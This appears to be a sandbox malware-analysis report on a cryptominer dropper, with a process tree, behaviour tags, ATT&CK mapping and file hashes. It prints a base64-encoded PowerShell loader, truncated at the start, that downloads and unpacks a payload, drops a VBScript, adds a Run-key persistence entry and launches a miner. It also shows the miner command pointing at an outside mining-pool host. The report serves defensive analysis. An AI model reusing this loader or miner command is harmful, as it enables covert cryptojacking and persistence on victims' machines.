gBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAIAAgACAAIAAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApAAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFUAcgBsACwAJABPAHUAdABGAGkAbABlACkAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIAAkAHcAYwAuAEQAaQBzAHAAbwBzAGUAKAApACAAfQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABEAGkAcwBhAGIAbABlAC0AUgBlAGwAYQB4AGUAZABDAGUAcgB0ACAAfQAKACAAIAAgACAAdABoAHIAbwB3ACAAIgBEAG8AdwBuAGwAbwBhAGQAIABmAGEAaQBsAGUAZAA6ACAAJABVAHIAbAAiAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQB4AHAAYQBuAGQALQBaAGkAcABXAGkAdABoAEYAYQBsAGwAYgBhAGMAawAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAcwB0AHIAaQBuAGcAXQAkAFAAYQB0AGgALABbAHMAdAByAGkAbgBnAF0AJABEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAApAAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBDAG8AbQBtAGEAbgBkAEUAeABpAHMAdABzACAAJwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAJwApACAAewAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAUABhAHQAaAAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIAAkAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAKACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAKQApACAAewAKACAAIAAgACAAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBQAGEAdABoACAAJABEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACAAIAAgACAAfQAKACAAIAAgACAAJABzAHIAYwAgACAAPQAgACgAUgBlAHMAbwBsAHYAZQAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAUABhAHQAaAApAC4AUABhAHQAaAAKACAAIAAgACAAJABkAGUAcwB0ACAAPQAgACgAUgBlAHMAbwBsAHYAZQAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAKQAuAFAAYQB0AGgACgAgACAAIAAgACQAcwBoAGUAbABsACAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4ACgAgACAAIAAgACQAegBpAHAAIAAgACAAIAA9ACAAJABzAGgAZQBsAGwALgBOAGEAbQBlAFMAcABhAGMAZQAoACQAcwByAGMAKQAKACAAIAAgACAAJAB0AGEAcgBnAGUAdAAgAD0AIAAkAHMAaABlAGwAbAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJABkAGUAcwB0ACkACgAgACAAIAAgAGkAZgAgACgAJABuAHUAbABsACAALQBlAHEAIAAkAHoAaQBwACkAIAAgACAAIAB7ACAAdABoAHIAbwB3ACAAIgBaAEkAUAAgAG8AcABlAG4AIABmAGEAaQBsAGUAZAA6ACAAJABzAHIAYwAiACAAfQAKACAAIAAgACAAaQBmACAAKAAkAG4AdQBsAGwAIAAtAGUAcQAgACQAdABhAHIAZwBlAHQAKQAgAHsAIAB0AGgAcgBvAHcAIAAiAEQAZQBzAHQAIAB1AG4AYQB2AGEAaQBsAGEAYgBsAGUAOgAgACQAZABlAHMAdAAiACAAfQAKACAAIAAgACAAJAB0AGEAcgBnAGUAdAAuAEMAbwBwAHkASABlAHIAZQAoACQAegBpAHAALgBJAHQAZQBtAHMAKAApACwAIAAwAHgAMQA0ACkACgAgACAAIAAgACQAZABlAGEAZABsAGkAbgBlACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBBAGQAZABTAGUAYwBvAG4AZABzACgAMQA1ACkACgAgACAAIAAgAHcAaABpAGwAZQAgACgAKABHAGUAdAAtAEQAYQB0AGUAKQAgAC0AbAB0ACAAJABkAGUAYQBkAGwAaQBuAGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAoAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAZABlAHMAdAAgAC0ARgBvAHIAYwBlACAAfAAgAE0AZQBhAHMAdQByAGUALQBPAGIAagBlAGMAdAApAC4AQwBvAHUAbgB0ACAALQBnAHQAIAAwACkAIAB7ACAAYgByAGUAYQBrACAAfQAKACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAAMgAwADAACgAgACAAIAAgAH0ACgB9AAoACgBBAHMAcwBlAHIAdAAtAFMAdABhAHIAdAB1AHAARQBuAGEAYgBsAGUAZAAgAC0AUgB1AG4ATgBhAG0AZQAgACQAQQBwAHAATgBhAG0AZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAKACQAcgB1AG4AbgBpAG4AZwAgACAAIAA9ACAAVABlAHMAdAAtAEEAcABwAFIAdQBuAG4AaQBuAGcAIAAtAFAAcgBvAGMATgBhAG0AZQAgACQAQQBwAHAATgBhAG0AZQAgAC0AVABhAHIAZwBlAHQAUABhAHQAaAAgACQARQB4AGUAUABhAHQAaAAKACQAZQB4AGUARQB4AGkAcwB0AHMAIAA9ACAAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQARQB4AGUAUABhAHQAaAAKAAoAaQBmACAAKAAtAG4AbwB0ACAAJABlAHgAZQBFAHgAaQBzAHQAcwAgAC0AYQBuAGQAIAAtAG4AbwB0ACAAJAByAHUAbgBuAGkAbgBnACkAIAB7AAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABSAGUAYQBkAG0AZQBQAGEAdABoACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACAAIAAgACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFoAaQBwAFAAYQB0AGgAIAAgACAAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBnAHUAYQByAGQALgB2AGIAcwAnACkAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgAE4AZQB3AC0ASQB0AGUAbQAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAIAAgACAAIAB9AAoACgAgACAAIAAgAEcAZQB0AC0ARgBpAGwAZQBXAGkAdABoAEYAYQBsAGwAYgBhAGMAawAgAC0AVQByAGwAIAAkAFUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABaAGkAcABQAGEAdABoAAoAIAAgACAAIABFAHgAcABhAG4AZAAtAFoAaQBwAFcAaQB0AGgARgBhAGwAbABiAGEAYwBrACAALQBQAGEAdABoACAAJABaAGkAcABQAGEAdABoACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIACgAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABSAGUAYQBkAG0AZQBQAGEAdABoACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAE0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFIAZQBhAGQAbQBlAFAAYQB0AGgAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQARQB4AGUAUABhAHQAaAAgAC0ARgBvAHIAYwBlAAoAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsACgAgACAAIAAgACAAIAAgACAAdABoAHIAbwB3ACAAIgByAGUAYQBkAG0AZQAuAG0AZAAgAG0AaQBzAHMAaQBuAGcAIABpAG4AIAB6AGkAcAAiAAoAIAAgACAAIAB9AAoACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAZgAgAGkAbgAgAEAAKAAkAFoAaQBwAFAAYQB0AGgALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBTAHQAYQByAHQALgBiAGEAdAAnACkALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBTAHQAYQByAHQALQBRAHUAYQBuAHQAdQBzAC4AYgBhAHQAJwApACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGYAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAfQAKAH0ACgAKACQAcwB0AGEAcgB0AFYAYgBzACAAPQAgAEAAIgAKAEQAaQBtACAAcwBoACwAIABhAHAAcAAsACAAcgB1AG4ASwBlAHkALAAgAHIAdQBuAFYAYQBsACwAIAB0AGEAcgBnAGUAdABQAGEAdABoACwAIAB0AGEAcgBnAGUAdABEAGkAcgAsACAAbQBpAG4AZQByAEMAbQBkAAoARABpAG0AIAB3AG0AaQAsACAAcAByAG8AYwBzACwAIABmAG8AdQBuAGQALAAgAHAACgBhAHAAcAAgAD0AIAAiACQAQQBwAHAATgBhAG0AZQAiAAoAcgB1AG4ASwBlAHkAIAA9ACAAIgBIAEsAQwBVAFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAKAFMAZQB0ACAAcwBoACAAPQAgAEMAcgBlAGEAdABlAE8AYgBqAGUAYwB0ACgAIgBXAFMAYwByAGkAcAB0AC4AUwBoAGUAbABsACIAKQAKAHQAYQByAGcAZQB0AEQAaQByACAAPQAgAHMAaAAuAEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABTAHQAcgBpAG4AZwBzACgAIgAlAEEAUABQAEQAQQBUAEEAJQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQAiACkACgB0AGEAcgBnAGUAdABQAGEAdABoACAAPQAgAHQAYQByAGcAZQB0AEQAaQByACAAJgAgACIAXAAiACAAJgAgAGEAcABwACAAJgAgACIALgBlAHgAZQAiAAoAbQBpAG4AZQByAEMAbQBkACAAPQAgACIAIgAiACIAIAAmACAAdABhAHIAZwBlAHQAUABhAHQAaAAgACYAIAAiACIAIgAiACAAJgAgACIAIAAtAC0AdQByAGwAIAAkAFMAdAByAGEAdAB1AG0AVQByAGwAIAAtAC0AdQBzAGUAcgAgACQAVQBzAGUAcgBBAHIAZwAiAAoATwBuACAARQByAHIAbwByACAAUgBlAHMAdQBtAGUAIABOAGUAeAB0AAoAcgB1AG4AVgBhAGwAIAA9ACAAcwBoAC4AUgBlAGcAUgBlAGEAZAAoAHIAdQBuAEsAZQB5ACAAJgAgACIAXAAiACAAJgAgAGEAcABwACkACgBPAG4AIABFAHIAcgBvAHIAIABHAG8AVABvACAAMAAKAEkAZgAgAEwAZQBuACgAcgB1AG4AVgBhAGwAKQAgAD0AIAAwACAAVABoAGUAbgAgAFcAUwBjAHIAaQBwAHQALgBRAHUAaQB0ACAAMAAKAFMAZQB0ACAAdwBtAGkAIAA9ACAARwBlAHQATwBiAGoAZQBjAHQAKAAiAHcAaQBuAG0AZwBtAHQAcwA6AFwAXAAuAFwAcgBvAG8AdABcAGMAaQBtAHYAMgAiACkACgBTAGUAdAAgAHAAcgBvAGMAcwAgAD0AIAB3AG0AaQAuAEUAeABlAGMAUQB1AGUAcgB5ACgAIgBTAEUATABFAEMAVAAgAE4AYQBtAGUALAAgAEUAeABlAGMAdQB0AGEAYgBsAGUAUABhAHQAaAAgAEYAUgBPAE0AIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACAAVwBIAEUAUgBFACAATgBhAG0AZQA9ACcAIgAgACYAIABhAHAAcAAgACYAIAAiAC4AZQB4AGUAJwAiACkACgBmAG8AdQBuAGQAIAA9ACAARgBhAGwAcwBlAAoARgBvAHIAIABFAGEAYwBoACAAcAAgAEkAbgAgAHAAcgBvAGMAcwAKACAAIAAgACAASQBmACAATgBvAHQAIABJAHMATgB1AGwAbAAoAHAALgBFAHgAZQBjAHUAdABhAGIAbABlAFAAYQB0AGgAKQAgAFQAaABlAG4ACgAgACAAIAAgACAAIAAgACAASQBmACAATABDAGEAcwBlACgAcAAuAEUAeABlAGMAdQB0AGEAYgBsAGUAUABhAHQAaAApACAAPQAgAEwAQwBhAHMAZQAoAHQAYQByAGcAZQB0AFAAYQB0AGgAKQAgAFQAaABlAG4ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABmAG8AdQBuAGQAIAA9ACAAVAByAHUAZQAKACAAIAAgACAAIAAgACAAIABFAG4AZAAgAEkAZgAKACAAIAAgACAARQBuAGQAIABJAGYACgBOAGUAeAB0AAoASQBmACAATgBvAHQAIABmAG8AdQBuAGQAIABUAGgAZQBuAAoAIAAgACAAIABzAGgALgBDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAPQAgAHQAYQByAGcAZQB0AEQAaQByAAoAIAAgACAAIABzAGgALgBSAHUAbgAgAG0AaQBuAGUAcgBDAG0AZAAsACAAMAAsACAARgBhAGwAcwBlAAoARQBuAGQAIABJAGYACgAiAEAACgBbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAVABlAHgAdAAoACQAVgBiAHMAUABhAHQAaAAsACAAJABzAHQAYQByAHQAVgBiAHMALAAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUAKQAKAAoAJAByAHUAbgBWAGEAbAB1AGUAIAA9ACAAJwB3AHMAYwByAGkAcAB0AC4AZQB4AGUAIAAiACcAIAArACAAJABWAGIAcwBQAGEAdABoACAAKwAgACcAIgAnAAoAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAKQApACAAewAgAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAIAAtAEYAbwByAGMAZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwAIAB9AAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAIAAtAE4AYQBtAGUAIAAkAEEAcABwAE4AYQBtAGUAIAAtAFYAYQBsAHUAZQAgACQAcgB1AG4AVgBhAGwAdQBlACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoACgBBAHMAcwBlAHIAdAAtAFMAdABhAHIAdAB1AHAARQBuAGEAYgBsAGUAZAAgAC0AUgB1AG4ATgBhAG0AZQAgACQAQQBwAHAATgBhAG0AZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAKAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAVgBiAHMAUABhAHQAaAApACAAewAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AQwBvAG0AbQBhAG4AZABFAHgAaQBzAHQAcwAgACcAdwBzAGMAcgBpAHAAdAAuAGUAeABlACcAKQAgAHsAIAB3AHMAYwByAGkAcAB0AC4AZQB4AGUAIAAkAFYAYgBzAFAAYQB0AGgAIAB9ACAAZQBsAHMAZQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAFYAYgBzAFAAYQB0AGgAIAB9AAoAfQA=
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5096
  - - C:\Windows\system32\wscript.exe
      "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\start.vbs
      4⤵
      Checks computer location settings
      Executes a VBScript file via the Windows Script Host.
      Reads the TCP/IP host and domain name from the registry
      Suspicious use of WriteProcessMemory
      PID:3612
    - - C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://c2.doxbin.cy:3333 --user x.xmrrig
        5⤵
        Executes dropped EXE
        
        PID:1260

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 3d2eacf29ec6bc70e0fad1f074b16c862ecfb21b609a4bfe3d695a98b0df9369
MD5 b189d8d73ba950ec1a1562aa98402d1c
SHA1 b091e1155179bb1b3f53ee89c80d4d529e890e5d
SHA512 5bd2f66dba5add2b60ec037f927d335abc31189c7d5518963b8c8d3e90a93a59fe2c160d9e6f361fafffa8c7c3eb4a681867282616317e416cb2a8d175f41ebb
TLSH
T11281D0313275F0D4C8567F07292819D463BF4386EA58AF4CB25C621ED92751BDB121F7
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2f9c4ec5524685caa7073d3e56e2a35182e21029b0575101a0b099855f5edf5a
MD5 da26a0a29fc25f3f43e1063d3555baa5
SHA1 5ffcb9c9e3636b1e2fc85d29bb8c20b2a5b45495
SHA512 1ad1aa9a67c37e2dd1b166e0359b994de1cc86d938a70568ea01dc2956df6d628a58e8ed44293195fd1ed2aa221569bca8485d82f6afafb22603532e9d3d0b0e
TLSH
T19A218937B38CCA20DC86153A529DAC1176B283C7C19EDE9F7EC0D600A1AF694CB79590
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_oiyc5nkh.dvo.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oiyc5nkh.dvo.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

start.vbs

Path C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\start.vbs
Size 1KB
SHA256 9450b3f67e20649e55d3feefc21651c3683095252c47f4bd8e69369a063fa997
MD5 883743541bf47264deebe821a5f6b9a0
SHA1 91e06261e130f7aed7c160c2e005c3eb82f67bc8
SHA512 fa3bf233aa05680d169a013cf7f5e929cdf23cbd5aee0d59015c7b768fd99d8dcad4489aeb14df49b34b379f5154c9742e2b0c770a2c0864bec33e92edc01f20
TLSH
T1C4412840ABED0148B3F72B859F78A5684B67BD9A9A76C60C0498194D1BB3B008825F33
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4864-24-0x000001FC7D3E0000-0x000001FC7D3F0000-memory.dmp

Download

memory/4864-0-0x000001FC7D3E0000-0x000001FC7D3F0000-memory.dmp

Download

memory/4864-8-0x000001FC7D360000-0x000001FC7D382000-memory.dmp

Download

memory/4864-10-0x000001FC7E550000-0x000001FC7E712000-memory.dmp

Download

memory/4864-1-0x000001FC7D3E0000-0x000001FC7D3F0000-memory.dmp

Download

memory/4864-23-0x000001FC7D3E0000-0x000001FC7D3F0000-memory.dmp

Download

memory/5096-12-0x000001EB783C0000-0x000001EB783D0000-memory.dmp

Download

memory/5096-22-0x000001EB783C0000-0x000001EB783D0000-memory.dmp

Download

memory/5096-25-0x000001EB783C0000-0x000001EB783D0000-memory.dmp

Download

memory/5096-26-0x000001EB783C0000-0x000001EB783D0000-memory.dmp

Download

memory/5096-27-0x000001EB783C0000-0x000001EB783D0000-memory.dmp

Download

memory/5096-29-0x000001EB783C0000-0x000001EB783D0000-memory.dmp

Download

memory/5096-30-0x000001EB79440000-0x000001EB79452000-memory.dmp

Download

memory/5096-31-0x000001EB783B0000-0x000001EB783BA000-memory.dmp

Download

memory/5096-21-0x000001EB79330000-0x000001EB79354000-memory.dmp

Download

memory/5096-20-0x000001EB79330000-0x000001EB7935A000-memory.dmp

Download

memory/5096-11-0x000001EB783C0000-0x000001EB783D0000-memory.dmp

Download